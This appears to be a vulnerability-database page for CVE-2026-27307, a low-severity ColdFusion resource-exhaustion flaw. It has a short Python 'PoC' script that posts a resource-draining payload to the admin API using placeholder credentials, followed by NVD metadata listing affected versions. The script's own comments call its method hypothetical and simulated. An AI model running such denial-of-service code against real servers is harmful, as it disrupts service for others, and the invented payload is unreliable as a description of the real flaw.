CVE-2026-27307

import requests # Exploit Title: Adobe ColdFusion Uncontrolled Resource Consumption PoC # Date: 2026-04-14 # CVE: CVE-2026-27307 # Description: This script simulates sending requests that trigger resource exhaustion. # Note: Exploitation requires High Privileges (Admin) and Adjacent Network access. target_url = "http://target-coldfusion-server:8500/adminapi/" # Attacker needs valid credentials for high-privileged access username = "admin" password = "password" session = requests.Session() session.auth = (username, password) # Hypothetical payload that triggers heavy processing payload = { "method": "triggerResourceLeak", "iterations": 100000000 } def send_exploit(): try: print("[*] Sending malicious request to exhaust resources...") response = session.post(target_url, json=payload) if response.status_code == 200: print("[+] Request sent successfully, check server resource usage.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-27307", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:29.890", "lastModified": "2026-04-16T14:41:24.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ColdFusion versions 2023.18, 2025.6 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. A high-privileged attacker could exploit this vulnerability and exhaust system resources, reducing application speed. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:-:*:*:*:*:*:*", "matchCriteriaId": "B02A37FE-5D31-4892-A3E6-156A8FE62D28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update1:*:*:*:*:*:*", "matchCriteriaId": "0AA3D302-CFEE-4DFD-AB92-F53C87721BFF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update10:*:*:*:*:*:*", "matchCriteriaId": "645D1B5F-2DAB-4AB8-A465-AC37FF494F95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update11:*:*:*:*:*:*", "matchCriteriaId": "ED6D8996-0770-4C9F-BEA5-87EA479D40A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update12:*:*:*:*:*:*", "matchCriteriaId": "4836086E-3D4A-4A07-A372-382D385CB490"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update13:*:*:*:*:*:*", "matchCriteriaId": "CBC19168-4184-4B59-B9C8-E98844124EED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update14:*:*:*:*:*:*", "matchCriteriaId": "A60DCD92-9A5B-411C-9554-642C91D77FAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update15:*:*:*:*:*:*", "matchCriteriaId": "58CC65EF-60A3-4DFA-AA51-E5013F116CEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update16:*:*:*:*:*:*", "matchCriteriaId": "2E3EBFB1-4488-4924-A2E2-B7E422D68345"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update17:*:*:*:*:*:*", "matchCriteriaId": "A683F9B2-A0DC-4AA0-BE97-9E74FA200AB1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update18:*:*:*:*:*:*", "matchCriteriaId": "8689F35F-9A81-45D2-B782-DBA12306BA45"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update2:*:*:*:*:*:*", "matchCriteriaId": "EB88D4FE-5496-4639-BAF2-9F29F24ABF29"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update3:*:*:*:*:*:*", "matchCriteriaId": "43E0ED98-2C1F-40B8-AF60-FEB1D85619C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update4:*:*:*:*:*:*", "matchCriteriaId": "76204873-C6E0-4202-8A03-0773270F1802"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update5:*:*:*:*:*:*", "matchCriteriaId": "C1A22BE9-0D47-4BA8-8BDB-9B12D7A0F7C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update6:*:*:*:*:*:*", "matchCriteriaId": "E3A83642-BF14-4C37-BD94-FA76AABE8ADC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update7:*:*:*:*:*:*", "matchCriteriaId": "A892E1DC-F2C8-4F53-8580-A2D1BEED5A25"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update8:*:*:*:*:*:*", "matchCriteriaId": "DB97ADBA-C1A9-4EE0-9509-68CB12358AE5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update9:*:*:*:*:*:*", "matchCriteriaId": "E17C38F0-9B0F-4433-9CBD-6E3D63EA9BDC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:-:*:*:*:*:*:*", "matchCriteriaId": "30779417-D4E5-4A01-BE0E-1CE1D134292A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update1:*:*:*:*:*:*", "matchCriteriaId": "80D7FC6A-F264-4CB1-A18D-B091EBA47882"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update2:*:*:*:*:*:*", "matchCriteriaId": "E3DA0D20-93BA-4C76-A400-159853CD7277"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update3:*:*:*:*:*:*", "matchCriteriaId": "5BAB6F21-61F1-43AB-88BA-553CD9AD6C0E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update4:*:*:*:*:*:*", "matchCriteriaId": "C85288B9-5D63-49EA-828A-8DB3BB2367F6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update5:*:*:*:*:*:*", "matchCriteriaId": "3882A011-5A01-48E7-B5E7-5A837B1CE245"}, {"vulnerable": true, ... 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